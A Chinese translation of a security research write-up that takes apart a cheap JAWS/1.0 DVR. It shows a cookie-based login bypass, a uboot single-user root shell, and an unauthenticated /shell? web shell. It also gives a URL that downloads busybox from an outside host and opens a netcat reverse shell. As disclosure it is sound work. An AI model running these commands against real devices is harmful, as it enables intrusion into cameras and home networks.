闭路电视探头在我们的生活中无所不在。最近的调查估计全英国大概有185万的监控摄像头,大部分都在私人住宅。大部分的探头都会连接到某些录像设备,也就是数字录像机(DVR)。
DVR会把多个摄像头的录像储存到一个硬盘上。它们不仅能够在屏幕上显示图片,大部分还能联网,用户可以通过浏览器或者客户端来连接。
当然商家和户主都会想要远程进入DVR,DVR设备通过端口转发连接到互联网,也正因为如此,我们可以在Shodan上找到大量的DVR设备。
所以我们打算买个 廉价的DVR ,看看还会不会有更加糟糕的情况。
经过几小时的挖掘我们便发现了以下的问题:
这款DVR会运行一个客户web服务器,它的HTTP服务器头很具标志性:“ JAWS/1.0 ”。在Shodan上搜索这个关键字我们找到44,000个设备。
默认情况下,这款设备的用户名是admin,密码为空。
连接电视后使用DVR的本地界面就可以更改密码。但设备中没有键盘,所以可以肯定大量的这款DVR使用的是默认密码。
虽然弱口令已经是老掉牙的问题了,但是还是物联网领域中普遍的问题。
首次访问DVR的时候显示的是index.html页面,这个页面可以让你输入用户名密码,验证成功后,你就会被重定向到view2.html。
奇怪的是,当我们清空cookies,访问view2.html时,我们看到页面渲染了一下,然后再把我们重定向到index.html让我们输密码。
这基本上就是JavaScript客户端验证的标志了。检查view2.js,我们发现是这样的:
$(document).ready(function(){
dvr_camcnt =Cookies.get(“dvr_camcnt");
dvr_usr =Cookies.get("dvr_usr");
dvr_pwd =Cookies.get("dvr_pwd");
if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)
{
location.href= "/index.html";
}
只要这三个cookie有任意值,你就可以访问了(dvr_camcnt得是2、4、8或24)。
手动设置这些cookie我们就能访问了。也就是说,我们无需知道用户名密码。
虽然拿到Web界面控制已经很好玩了,但我还要root shell。
打开机器上面的盖子之后,我们发现了J18。这是个115200串口,虽然我能看到输出,但是没有shell,也没地方输入。
重启设备后我们发现它使用的是uboot,这是一款非常常见的开源boot loader。按任意键就能中断uboot。不过你只有一秒钟中断uboot,所以可能得多尝试几次。
我们现在就进入了uboot控制台。我们可以修改启动参数,改为单用户模式,我们就无需密码登陆了。
setenv bootargs ${bootargs) single
boot
现在DVR就进入了单用户模式,我们也有了root shell,我们可以做点猥琐的事了。
本地root shell不错,但我还想要远程shell。
查看固件后我们发现,大部分的功能都是在dvr_app里面的,包括web服务器。尽管web界面中有cgi-bin目录,但我在文件服务器上没找到这个目录,有可能dvr_app在内部处理了这个目录。这样的情况在嵌入设备中非常普遍。
对这个二进制文件使用strings命令,就能看到cgi-bin了。而且我们还看到了其他的值,包括moo和shell。
访问moo目录是这么个情况:
访问shell目录会一直加载,但访问shell?ps时就能看到进程列表了:
因此我们就拿到了一个远程,并且无需认证的shell,这个shell无法禁止,是设备里面自带的。
设备在23端口运行telnet,但需要root密码。即使我们能够看到/etc/passwd和解密hash,我们还是拿不到密码。
我们通过密码破解器看看能不能拿到密码,但这要花点时间。
为了解决这个问题,我们使用远程web shell开启一个新的已经登录的telnet daemon:
<a href="http://192.168.3.101/shell?/usr/sbin/telnetd">http://192.168.3.101/shell?/usr/sbin/telnetd</a> -l/bin/sh -p 25
现在我们可以登录telnet了。
攻击者可以用反弹shell让DVR反向连接到他所控制的主机。只要用户有出口连接,这招就很管用,这是绕过NAT和防火墙的好办法。家庭企业和小型企业网络大多不会进行出站的过滤。
一般我们会用netcat建立反弹shell。跟其他小型嵌入式设备一样,这款DVR使用busybox来提供发亮的shell功能。这些命令是任意的。很遗憾netcat不能用,但我们可以解决。
DVR使用的是ARM处理器。也就是说基本上不可能直接下载netcat或busybox了,我们得进行编译。
为嵌入式系统进行编译很尴尬的,尤其是你得要跟硬件交互的时候。还好busybox和netcat的要求不多。我们只需要为架构创建静态链接二进制。这个得是要静态链接的,这样就能避免对库的依赖。这样会使二进制文件变大,不过这款设备上没有磁盘空间挺宽裕。
编译完成后我们就拿到DVR上试试。
找一个可写目录。大部分的文件系统都是只读的,你甚至无法更改密码添加用户。这毕竟是个DVR,所以我们弄了个硬盘,加载在/root/rec/a1下。
用wget下载编译的busybox二进制到这个目录
把busybox设为可执行
运行netcat反弹shell
命令如下:
<a href="http://192.168.3.101/shell?cd">http://192.168.3.101/shell?cd</a> /root/rec/a1 && wget
%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%
31%36%31%2f%62%75%73%79%62%6f%78%20 && chmod %2bxbusybox
&& ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh
Wget的网址得要经过编码,实际的网址是:
http://1.2.3.4/busybox
我们服务器上的netcat就监听到一个连接了,通过访问构造好的URL我们就可以与DVR进行交互了。
进一步检查dvr_app二进制,我们发现了一些很奇怪的功能。
不知道为何,第一个摄像头的截屏会被发送到 lawishere@yeah.net 。
发送DVR截屏的行为严重威胁到了隐私。
而且奇怪的是,有人曾经在Frank Law的GitHub页面上报告过这一情况:
https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1
然后他撤下了这个项目。
事情到此并没有完全结束。这款设备还有其他的问题:
如果你通过web服务器获得了shell或者命令注入,你就没必要提权了,你已经是root了。
这款设备没有CSRF保护,你可以诱骗用户点击链接,就能以他们的身份执行动作。
没有帐号锁定或者防爆破措施。你可以一直猜密码下去,唯一的限制频率的就是设备本身的运行速度。
没有HTTPS。所有通信都是以明文方式发送,可以被拦截,可以被篡改。
没有固件升级
把这些设备放到互联网上,你就会面临严重的安全风险。如果你把web界面端口转发,你就等于让攻击者完全控制这个设备。然后他们还可以以此作为跳板从内部攻击你网络中的其他设备。
* 参考来源: Pentest Partners ,vulture翻译,文章有修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)